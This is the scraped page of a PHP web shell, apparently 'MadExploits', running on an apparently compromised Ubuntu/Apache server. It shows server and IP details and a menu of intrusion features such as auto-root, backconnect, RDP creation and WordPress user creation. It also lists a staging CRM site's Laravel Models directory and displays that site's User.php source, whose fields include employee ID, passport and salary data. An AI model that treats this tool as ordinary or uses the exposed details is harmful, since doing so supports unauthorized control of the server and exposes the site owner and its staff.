Linux localhost 5.4.0-198-generic #218-Ubuntu SMP Fri Sep 27 20:18:53 UTC 2024 x86_64
Apache/2.4.41 (Ubuntu)
: 23.92.16.63 | : 162.158.159.137
Cant Read [ /etc/named.conf ]
8.1.5
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
stagingcrm.oxopackaging.com /
app /
Models /
[ HOME SHELL ]
Name
Size
Permission
Action
Accessories.php
2
KB
-rw-r--r--
Accessorieslog.php
519
B
-rw-r--r--
Activity.php
1.62
KB
-rw-r--r--
Address.php
1.62
KB
-rw-r--r--
Administration.php
2.08
KB
-rw-r--r--
Administrationaccessorieslog.p...
545
B
-rw-r--r--
AgentRawData.php
1.97
KB
-rw-r--r--
Attandance.php
1.63
KB
-rw-r--r--
Attendance.php
1.76
KB
-rw-r--r--
AttendanceRequest.php
2.11
KB
-rw-r--r--
Client.php
2.99
KB
-rw-r--r--
ClientsReferalls.php
366
B
-rw-r--r--
Contact.php
734
B
-rw-r--r--
ContactAddress.php
1.72
KB
-rw-r--r--
ContactDetail.php
569
B
-rw-r--r--
Countries.php
390
B
-rw-r--r--
Courier.php
2
KB
-rw-r--r--
Currencies.php
392
B
-rw-r--r--
Deal.php
13.1
KB
-rw-r--r--
DealAmount.php
1.65
KB
-rw-r--r--
DealEstimation.php
1.4
KB
-rw-r--r--
DealEstimationlog.php
1.42
KB
-rw-r--r--
DealFollowUp.php
753
B
-rw-r--r--
DealNotification.php
367
B
-rw-r--r--
DealProduct.php
6.53
KB
-rw-r--r--
DealProductPrinting.php
1.92
KB
-rw-r--r--
DealProductQuantityAndEstimati...
1.9
KB
-rw-r--r--
DealShippingBoxes.php
294
B
-rw-r--r--
Department.php
1.62
KB
-rw-r--r--
Designation.php
1.6
KB
-rw-r--r--
Domains.php
1.61
KB
-rw-r--r--
EmailPhoneDetail.php
1.26
KB
-rw-r--r--
Embossing.php
1.59
KB
-rw-r--r--
EmployeeAssets.php
1.71
KB
-rw-r--r--
EmployeeBanks.php
1.8
KB
-rw-r--r--
EmployeeDocuments.php
1.66
KB
-rw-r--r--
EmployeeRelative.php
1.87
KB
-rw-r--r--
Employees.php
1.61
KB
-rw-r--r--
ExcelSales.php
589
B
-rw-r--r--
File.php
1007
B
-rw-r--r--
Foiling.php
1.59
KB
-rw-r--r--
Jobtitle.php
1.59
KB
-rw-r--r--
Lamination.php
1.62
KB
-rw-r--r--
LeadSource.php
1.64
KB
-rw-r--r--
LeadsType.php
1.39
KB
-rw-r--r--
Material.php
1.6
KB
-rw-r--r--
Metrial.php
1.58
KB
-rw-r--r--
Modelhasroles.php
678
B
-rw-r--r--
Module.php
1.1
KB
-rw-r--r--
Note.php
1.86
KB
-rw-r--r--
ObDeals.php
1.93
KB
-rw-r--r--
Opt.php
1.74
KB
-rw-r--r--
Outbound.php
435
B
-rw-r--r--
PF.php
1.7
KB
-rw-r--r--
Permission.php
935
B
-rw-r--r--
Pipeline.php
1.03
KB
-rw-r--r--
PipelineStage.php
1.9
KB
-rw-r--r--
Product.php
1.29
KB
-rw-r--r--
ProductColor.php
1.65
KB
-rw-r--r--
ProductMeasurementUnit.php
1.66
KB
-rw-r--r--
ProductPrinting.php
1.65
KB
-rw-r--r--
ProductStock.php
1.65
KB
-rw-r--r--
Production.php
880
B
-rw-r--r--
Projects.php
1.59
KB
-rw-r--r--
Projectslogs.php
596
B
-rw-r--r--
QuantityAndEstimation.php
652
B
-rw-r--r--
Relationships.php
398
B
-rw-r--r--
Reports.php
178
B
-rw-r--r--
Review.php
303
B
-rw-r--r--
Rewards.php
1.64
KB
-rw-r--r--
Role.php
892
B
-rw-r--r--
Salaries.php
2.66
KB
-rw-r--r--
SalaryDetails.php
1.64
KB
-rw-r--r--
Salarylogs.php
1.91
KB
-rw-r--r--
Setting.php
2
KB
-rw-r--r--
ShiftTimes.php
1.83
KB
-rw-r--r--
ShippingBoxes.php
1.75
KB
-rw-r--r--
State.php
1.6
KB
-rw-r--r--
TodayFollowUps.php
1.5
KB
-rw-r--r--
Tracking.php
3.49
KB
-rw-r--r--
User.php
11.71
KB
-rw-r--r--
UserLedger.php
1.84
KB
-rw-r--r--
UserLoan.php
1.76
KB
-rw-r--r--
UserLogin.php
1.49
KB
-rw-r--r--
UsersDaysoff.php
1.76
KB
-rw-r--r--
Uv.php
1.58
KB
-rw-r--r--
Vendors.php
1.8
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : User.php
<?php namespace App\Models; use Illuminate\Database\Eloquent\Model; use Illuminate\Database\Eloquent\SoftDeletes; use Prettus\Repository\Contracts\Transformable; use Prettus\Repository\Traits\TransformableTrait; use Illuminate\Contracts\Auth\MustVerifyEmail; use Illuminate\Database\Eloquent\Factories\HasFactory; use Illuminate\Foundation\Auth\User as Authenticatable; use Illuminate\Notifications\Notifiable; use Spatie\Permission\Traits\HasRoles; use Illuminate\Support\Facades\Hash; /** * Class User. * * @package namespace App\Models; */ class User extends authenticatable implements transformable { use transformabletrait, hasfactory, Notifiable; use hasroles; use softdeletes; use HasFactory; //public $table = '$table$'; /** * the attributes that are mass assignable. * * @var array */ protected $fillable = [ 'first_name', 'last_name', 'real_name', 'email', 'phone_no', 'avatar', 'password', 'status', 'team_member', 'domains_id', 'device_token', 'country_id', 'designer_status', 'template_designer_status', 'agent', 'salutation', 'middle_name', 'father_name_husband_name', 'dob', 'marital_status', 'religions', 'nationality', 'blood_group', 'landline_no', 'cnic_no', 'cnic_attachment', 'cnic_expiry', 'passport_no', 'passport_attachment', 'passport_expiry', 'driving_license_no', 'driving_license_expiry', 'driving_license_attachment', 'company', 'user_code', 'joining_date', 'probation', 'employee_grade', 'area_bounded_employee', 'is_final_authority', 'finalauthority', 'is_hod', 'is_line_manager', 'project_id', 'transfer_date', 'is_attendance_exempt', 'location', 'department', 'branch', 'designation', 'job_title', 'gender', 'line_manager', 'personal_email', 'employee_type', 'do_not_use_in_payroll', 'payroll', 'salary_type', 'ntn_no', 'payment_method', 'currency', 'text_exempted', 'probation_salary', 'gross_salary', 'note', 'description', 'probation_period', 'shift_time', 'user_status', ]; protected $guard_name = 'web'; /** * the attributes that should be hidden for arrays. * * @var array */ protected $hidden = [ 'password', 'remember_token', ]; /** * the attributes that should be cast to native types. * * @var array */ protected $casts = [ 'email_verified_at' => 'datetime', 'phone_no_verified_at' => 'datetime', ]; public function getfullname() { return $this->first_name." ".$this->last_name; } public function getavatar() { return !is_null($this->avatar)? asset($this->avatar) : asset('public/storage/sample-pic/avatar-male.jpg'); } public function designer_deals(){ return $this->hasMany(Deal::class,'designer_id')->where('production_status','=','0' )->where('deals.designer_status','=','0')->where('deals.designer_work','=','1')->where('deals.deal_status','=','1'); } public function deals(){ return $this->hasMany(Deal::class,'owner_id')->where('production_status','=','0' )->where('deals.designer_status','=','0')->where('deals.designer_work','=','1')->where('deals.deal_status','=','1'); } public function user_lead_deals(){ return $this->hasMany(Deal::class,'owner_id','id')->where('deals.deal_status','=','1')->where('pipeline_stage_id','=',1); } public function estimator_deals(){ return $this->hasMany(Deal::class,'estimator_id')->where('estimation','=','2');; } public function user_follow_deals(){ return $this->hasMany(Deal::class,'owner_id','id')->where('deals.deal_status','=','1')->where('pipeline_stage_id','=',11); } public function leaveRequests() { return $this->hasMany(AttendanceRequest::class); } public function logins() { return $this->hasMany(UserLogin::class); } public function salaryLogs() { return $this->hasMany(Salarylogs::class); } public function latestSalaryLog() { return $this->hasOne(Salarylogs::class)->latestOfMany(); } public function user_estimation_deals(){ return $this->hasMany(Deal::class,'owner_id','id')->where('deals.deal_status','=','1')->where('pipeline_stage_id','=',2); } public function project(){ return $this->belongsTo('App\Models\Projects' ,'project_id'); } public function user_inprogress_deals(){ return $this->hasMany(Deal::class,'owner_id','id')->where('deals.deal_status','=','1')->where('pipeline_stage_id','=',3); } public function user_closedwon_deals(){ return $this->hasMany(Deal::class,'owner_id','id')->where('deals.deal_status','=','1')->where('pipeline_stage_id','=',4); } public function user_estimations_deals(){ return $this->hasMany(Deal::class,'owner_id','id')->where('deals.deal_status','=','1')->whereIn('pipeline_stage_id','1,2,3,11,5,6'); } public function user_new_closedwon_deals(){ return $this->hasMany(Deal::class,'owner_id','id')->where('deals.deal_status','=','1')->where('pipeline_stage_id','=',4)->where('customer_type','=',2); } public function user_old_closedwon_deals(){ return $this->hasMany(Deal::class,'owner_id','id')->where('deals.deal_status','=','1')->where('pipeline_stage_id','=',4)->where('customer_type','=',1); } public function user_closedwon_new_deals(){ return $this->hasMany(Deal::class,'owner_id','id')->where('deals.deal_type_id','=','2')->where('deals.deal_status','=','1')->where('pipeline_stage_id','=',4); } public function user_closedwon_repeat_deals(){ return $this->hasMany(Deal::class,'owner_id','id')->where('deals.deal_type_id','=','1')->where('deals.deal_status','=','1')->where('pipeline_stage_id','=',4); } public function user_closedlost_deals(){ return $this->hasMany(Deal::class,'owner_id','id')->where('deals.deal_status','=','1')->where('pipeline_stage_id','=',5); } public function deal_amount() { return $this->hasMany('App\Models\DealAmount' ,'deal_id'); } public function deal_amounts() { return $this->hasMany('App\Models\DealAmount' ,'deal_id')->sum(); } public function getids($oderno){ return $this->where('order_no',$oderno)->get(); } public function user(){ return $this->belongsTo('App\Models\User' , 'owner_id'); } public function vendor() { return $this->belongsTo('App\Models\Vendors' ,'vendor_id'); } public function domain() { return $this->belongsTo('App\Models\Domains' ,'domain_id'); } public function courier() { return $this->belongsTo('App\Models\Courier' ,'courier_id'); } public function productdetails() { return $this->belongsToMany('App\Models\DealProduct' ,'deal_product_quantity_and_estimation_amounts','deal_product_id'); } public function productprinting() { return $this->belongsToMany('App\Models\DealProduct' ,'deal_product_printings','deal_product_id'); } public function pipelineStage() { return $this->belongsTo('App\Models\PipelineStage' , 'pipeline_stage_id'); } public function client() { return $this->belongsTo('App\Models\Client' , 'client_id'); } public function client_email() { return $this->belongsTo('App\Models\EmailPhoneDetail' , 'client_id'); } public function emailPhoneDetails() { return $this->morphMany('App\Models\EmailPhoneDetail' , 'model'); } public function lead_source(){ return $this->belongsTo('App\Models\LeadSource','lead_source_id'); } public function owner() { return $this->belongsTo('App\Models\User' , 'owner_id'); } public function designations() { return $this->belongsTo('App\Models\Designation' , 'designation'); } public function departments() { return $this->belongsTo('App\Models\Department' , 'department'); } public function banks(){ return $this->hasOne('App\Models\EmployeeBanks', 'user_id', 'id'); } public function estimator() { return $this->belongsTo('App\Models\User' , 'estimator_id'); } public function template_designer() { return $this->belongsTo('App\Models\User' , 'template_designer_id')->where('designer_status','active'); } public function owners() { return $this->belongsTo('App\Models\User' , 'owner_id'); } public function bdowners() { return $this->belongsTo('App\Models\User' , 'bd_owner_id'); } public function obowners() { return $this->belongsTo('App\Models\User' , 'ob_owner_id'); } public function files() { return $this->morphMany('App\Models\File' , 'fileable'); } public function print_ready_designer() { return $this->belongsTo('App\Models\User' , 'designer_id')->where('designer_status','active'); } public function tracking() { return $this->hasMany('App\Models\Tracking' , 'deal_id'); } public function activities() { return $this->morphMany('App\Models\Activity' , 'activityable')->orderBy('id','DESC'); } public function notes() { return $this->morphMany('App\Models\Note' , 'noteable')->orderBy('id','DESC'); } public function getPipelineStageNameById($pipelineStage_id) { return PipelineStage::select('name')->where('id',$pipelineStage_id)->first()->name; } public function piplelinestage() { return $this->belongsTo('App\Models\PipelineStage' ,'pipeline_stage_id' ); } public function production_details() { return $this->hasMany('App\Models\Production' ,'deal_id' ); } public function tracking_details() { return $this->hasMany('App\Models\Tracking' ,'deal_id' ); } public function shipping_boxes_details() { return $this->hasMany('App\Models\DealShippingBoxes' ,'deal_id' ); } public function shipping_states(){ return $this->belongsTo('App\Models\State' ,'shipping_state' ); } public function billing_states(){ return $this->belongsTo('App\Models\State' ,'billing_state' ); } public function production(){ return $this->hasMany('App\Models\Production' , 'deal_id'); } public function dealProducts() { return $this->hasMany('App\Models\DealProduct' ,'deal_id'); } public function closed_won(){ return $this->where('pipeline_stage_id',4)->where('deal_type_id',1); } public function closed_lost(){ return $this->hasMany(Deal::class,'id','id')->where('pipeline_stage_id',5)->where('deal_type_id',1); } public function leads(){ return $this->hasMany(Deal::class,'id','id')->whereIn('pipeline_stage_id',array('1','2','3','4'))->where('deal_type_id',1); } public function estimation(){ return $this->hasMany(Deal::class,'id','id')->where('pipeline_stage_id',2)->where('deal_type_id',1); } public function followup(){ return $this->hasMany(Deal::class,'id','id')->where('pipeline_stage_id',2)->where('deal_type_id',1); } public function inprogress(){ return $this->hasMany(Deal::class,'id','id')->where('pipeline_stage_id',11)->where('deal_type_id',1); } }
Close